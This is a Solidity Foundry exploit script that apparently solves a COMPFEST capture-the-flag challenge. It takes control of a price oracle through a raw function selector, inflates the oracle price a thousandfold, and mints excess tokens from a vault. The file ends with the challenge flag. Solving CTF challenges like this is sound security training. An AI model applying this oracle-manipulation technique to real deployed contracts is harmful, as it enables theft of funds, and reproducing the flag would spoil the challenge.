Exploit.s.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;

import {Script, console} from "forge-std/Script.sol";

// forge script src/Compfest2025/SyntheticManipulation/Exploit.s.sol:ExploitScript --private-key $PRIVATE_KEY -vvvvv --broadcast

contract ExploitScript is Script {
    function run() public {
        vm.startBroadcast();

        new Exploit().exploit{value: 4900 ether}();

        vm.stopBroadcast();
    }
}

contract Exploit {
    function exploit() external payable {
        Setup setup = Setup(0x048E929109800A63574193706578A7F37F4c987C);
        Token token = Token(setup.challenge());
        Oracle oracle = Oracle(token.priceOracle());

        address(oracle).call(abi.encodeWithSelector(hex"f7699c28", address(this)));
        oracle.setPrice(oracle.getLatestPrice() * 1000);

        token.openVault{value: 4900 ether}(100_000_000_000_000_000_000_000_000_000_001);

        uint256 balance = token.balanceOf(address(this));
        token.transfer(address(setup), balance);

        require(setup.isSolved());
    }
}

interface Oracle {
    function getLatestPrice() external returns (uint256);
    function setPrice(uint256 _price) external;
}

interface Setup {
    function challenge() external returns (address);
    function isSolved() external returns (bool);
}

interface Token {
    /*
        field0 = msg.value
        field1 = amount
        (field0 * latestPrice / (10 ** 8) * 100) / field1
    */
    function openVault(uint256 _pid) external payable;
    function nextVaultId() external;
    function transferFrom(address sender, address recipient, uint256 amount) external;
    function priceOracle() external returns (address);
    function balanceOf(address account) external returns (uint256);
    function transfer(address recipient, uint256 amount) external;
}

// COMPFEST17{reverse_evm_dikit_dikit_lah_ya_bosen_kalo_sourcenya_terpampang_semua_015ec8d7f5}